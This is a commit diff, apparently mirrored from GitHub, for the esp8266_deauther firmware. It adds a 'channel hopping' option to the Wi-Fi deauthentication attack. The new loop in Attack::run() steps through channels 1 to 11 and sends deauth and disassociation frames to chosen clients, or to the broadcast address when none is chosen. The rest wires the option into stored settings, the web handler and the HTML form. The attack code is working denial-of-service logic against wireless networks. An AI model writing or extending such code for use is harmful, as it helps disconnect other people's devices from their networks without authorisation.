mirror of
https://github.com/SpacehuhnTech/esp8266_deauther.git
synced 2025-12-23 06:59:59 +01:00
Added channel hopping option
This commit is contained in:
@@ -135,23 +135,47 @@ void Attack::run(){
|
|||||||
if(clientScan.getClientSelected(i)){
|
if(clientScan.getClientSelected(i)){
|
||||||
_selectedClients++;
|
_selectedClients++;
|
||||||
|
|
||||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
|
if(settings.channelHop){
|
||||||
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
|
for(int j=1;j<12;j++){
|
||||||
|
wifi_set_channel(j);
|
||||||
|
|
||||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
|
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
|
||||||
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
|
if(send()) packetsCounter[0]++;
|
||||||
|
|
||||||
|
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
|
||||||
|
if(send()) packetsCounter[0]++;
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
|
||||||
|
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
|
||||||
|
|
||||||
|
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
|
||||||
|
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if(_selectedClients == 0){
|
if(_selectedClients == 0){
|
||||||
Mac _client;
|
Mac _client;
|
||||||
_client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
|
_client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
|
||||||
buildDeauth(_ap, _client, 0xc0, 0x01 );
|
|
||||||
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
|
|
||||||
|
|
||||||
buildDeauth(_ap, _client, 0xa0, 0x01 );
|
if(settings.channelHop){
|
||||||
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
|
for(int j=1;j<12;j++){
|
||||||
|
wifi_set_channel(j);
|
||||||
|
|
||||||
|
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
|
||||||
|
if(send()) packetsCounter[0]++;
|
||||||
|
|
||||||
|
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
|
||||||
|
if(send()) packetsCounter[0]++;
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
|
||||||
|
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
|
||||||
|
|
||||||
|
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
|
||||||
|
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -370,7 +394,7 @@ void Attack::refreshLed(){
|
|||||||
int numberRunning = 0;
|
int numberRunning = 0;
|
||||||
for(int i=0; i<sizeof(isRunning); i++){
|
for(int i=0; i<sizeof(isRunning); i++){
|
||||||
if(isRunning[i]) numberRunning++;
|
if(isRunning[i]) numberRunning++;
|
||||||
if(debug) Serial.println(numberRunning);
|
//if(debug) Serial.println(numberRunning);
|
||||||
}
|
}
|
||||||
if(numberRunning>=1 && settings.useLed){
|
if(numberRunning>=1 && settings.useLed){
|
||||||
if(debug) Serial.println("Attack LED : ON");
|
if(debug) Serial.println("Attack LED : ON");
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ void Settings::load(){
|
|||||||
clientScanTime = EEPROM.read(clientScanTimeAdr);
|
clientScanTime = EEPROM.read(clientScanTimeAdr);
|
||||||
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
|
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
|
||||||
useLed = (bool)EEPROM.read(useLedAdr);
|
useLed = (bool)EEPROM.read(useLedAdr);
|
||||||
|
channelHop = (bool)EEPROM.read(channelHopAdr);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -53,6 +54,7 @@ void Settings::reset(){
|
|||||||
clientScanTime = 15;
|
clientScanTime = 15;
|
||||||
attackEncrypted = false;
|
attackEncrypted = false;
|
||||||
useLed = false;
|
useLed = false;
|
||||||
|
channelHop = false;
|
||||||
|
|
||||||
if(debug) Serial.println("done");
|
if(debug) Serial.println("done");
|
||||||
|
|
||||||
@@ -81,6 +83,7 @@ void Settings::save(){
|
|||||||
EEPROM.write(clientScanTimeAdr, clientScanTime);
|
EEPROM.write(clientScanTimeAdr, clientScanTime);
|
||||||
EEPROM.write(attackEncryptedAdr, attackEncrypted);
|
EEPROM.write(attackEncryptedAdr, attackEncrypted);
|
||||||
EEPROM.write(useLedAdr, useLed);
|
EEPROM.write(useLedAdr, useLed);
|
||||||
|
EEPROM.write(channelHopAdr, channelHop);
|
||||||
EEPROM.commit();
|
EEPROM.commit();
|
||||||
|
|
||||||
if(debug){
|
if(debug){
|
||||||
@@ -104,6 +107,7 @@ void Settings::info(){
|
|||||||
Serial.println("client scan time: "+(String)clientScanTime);
|
Serial.println("client scan time: "+(String)clientScanTime);
|
||||||
Serial.println("attack SSID encrypted: "+(String)attackEncrypted);
|
Serial.println("attack SSID encrypted: "+(String)attackEncrypted);
|
||||||
Serial.println("use built-in LED: "+(String)useLed);
|
Serial.println("use built-in LED: "+(String)useLed);
|
||||||
|
Serial.println("channel hopping: "+(String)channelHop);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Settings::get(){
|
String Settings::get(){
|
||||||
@@ -121,6 +125,7 @@ String Settings::get(){
|
|||||||
json += "\"clientScanTime\":"+(String)clientScanTime+",";
|
json += "\"clientScanTime\":"+(String)clientScanTime+",";
|
||||||
json += "\"attackEncrypted\":"+(String)attackEncrypted+",";
|
json += "\"attackEncrypted\":"+(String)attackEncrypted+",";
|
||||||
json += "\"useLed\":"+(String)useLed+",";
|
json += "\"useLed\":"+(String)useLed+",";
|
||||||
|
json += "\"channelHop\":"+(String)channelHop+",";
|
||||||
|
|
||||||
json += "\"nameList\":[";
|
json += "\"nameList\":[";
|
||||||
for(int i=0;i<nameList.len;i++){
|
for(int i=0;i<nameList.len;i++){
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ extern NameList nameList;
|
|||||||
#define apScanHiddenAdr 1097
|
#define apScanHiddenAdr 1097
|
||||||
#define apChannelAdr 1098
|
#define apChannelAdr 1098
|
||||||
#define useLedAdr 1099
|
#define useLedAdr 1099
|
||||||
|
#define channelHopAdr 1100
|
||||||
|
|
||||||
class Settings
|
class Settings
|
||||||
{
|
{
|
||||||
@@ -52,6 +53,7 @@ class Settings
|
|||||||
int clientScanTime;
|
int clientScanTime;
|
||||||
bool attackEncrypted;
|
bool attackEncrypted;
|
||||||
bool useLed;
|
bool useLed;
|
||||||
|
bool channelHop;
|
||||||
private:
|
private:
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@@ -294,6 +294,10 @@ void saveSettings() {
|
|||||||
else settings.useLed = true;
|
else settings.useLed = true;
|
||||||
attack.refreshLed();
|
attack.refreshLed();
|
||||||
}
|
}
|
||||||
|
if (server.hasArg("channelHop")) {
|
||||||
|
if (server.arg("channelHop") == "false") settings.channelHop = false;
|
||||||
|
else settings.channelHop = true;
|
||||||
|
}
|
||||||
|
|
||||||
settings.save();
|
settings.save();
|
||||||
server.send( 200, "text/json", "true" );
|
server.send( 200, "text/json", "true" );
|
||||||
|
|||||||
@@ -76,9 +76,12 @@
|
|||||||
<input type="checkbox" name="ssidEnc" id="ssidEnc" value="false">
|
<input type="checkbox" name="ssidEnc" id="ssidEnc" value="false">
|
||||||
<br />
|
<br />
|
||||||
|
|
||||||
<label for="useLed">Use LED:</label>
|
<label for="useLed">use LED:</label>
|
||||||
<input type="checkbox" name="useLed" id="useLed" value="false">
|
<input type="checkbox" name="useLed" id="useLed" value="false">
|
||||||
<br />
|
<br />
|
||||||
|
<label for="channelHop">channel hopping:</label>
|
||||||
|
<input type="checkbox" name="channelHop" id="channelHop" value="false">
|
||||||
|
<br />
|
||||||
|
|
||||||
<label for="deauthReason">deauth reason:</label>
|
<label for="deauthReason">deauth reason:</label>
|
||||||
<input type="number" id="deauthReason" min="1" max="45">
|
<input type="number" id="deauthReason" min="1" max="45">
|
||||||
@@ -120,6 +123,7 @@
|
|||||||
var clientNames = document.getElementById('clientNames');
|
var clientNames = document.getElementById('clientNames');
|
||||||
var ssidEnc = document.getElementById('ssidEnc');
|
var ssidEnc = document.getElementById('ssidEnc');
|
||||||
var useLed = document.getElementById('useLed');
|
var useLed = document.getElementById('useLed');
|
||||||
|
var channelHop = document.getElementById('channelHop');
|
||||||
var res;
|
var res;
|
||||||
|
|
||||||
function getData(){
|
function getData(){
|
||||||
@@ -137,6 +141,7 @@
|
|||||||
packetRate.value = res.attackPacketRate;
|
packetRate.value = res.attackPacketRate;
|
||||||
ssidEnc.checked = res.attackEncrypted;
|
ssidEnc.checked = res.attackEncrypted;
|
||||||
useLed.checked = res.useLed;
|
useLed.checked = res.useLed;
|
||||||
|
channelHop.checked = res.channelHop;
|
||||||
|
|
||||||
|
|
||||||
clientNames.innerHTML = "Client Names "+res.nameList.length+"/50";
|
clientNames.innerHTML = "Client Names "+res.nameList.length+"/50";
|
||||||
@@ -189,6 +194,7 @@
|
|||||||
url += "&packetRate="+packetRate.value;
|
url += "&packetRate="+packetRate.value;
|
||||||
url += "&ssidEnc="+ssidEnc.checked;
|
url += "&ssidEnc="+ssidEnc.checked;
|
||||||
url += "&useLed="+useLed.checked;
|
url += "&useLed="+useLed.checked;
|
||||||
|
url += "&channelHop="+channelHop.checked;
|
||||||
|
|
||||||
getResponse(url, function(responseText){
|
getResponse(url, function(responseText){
|
||||||
if(responseText == "true"){
|
if(responseText == "true"){
|
||||||
|
|||||||
Reference in New Issue
Block a user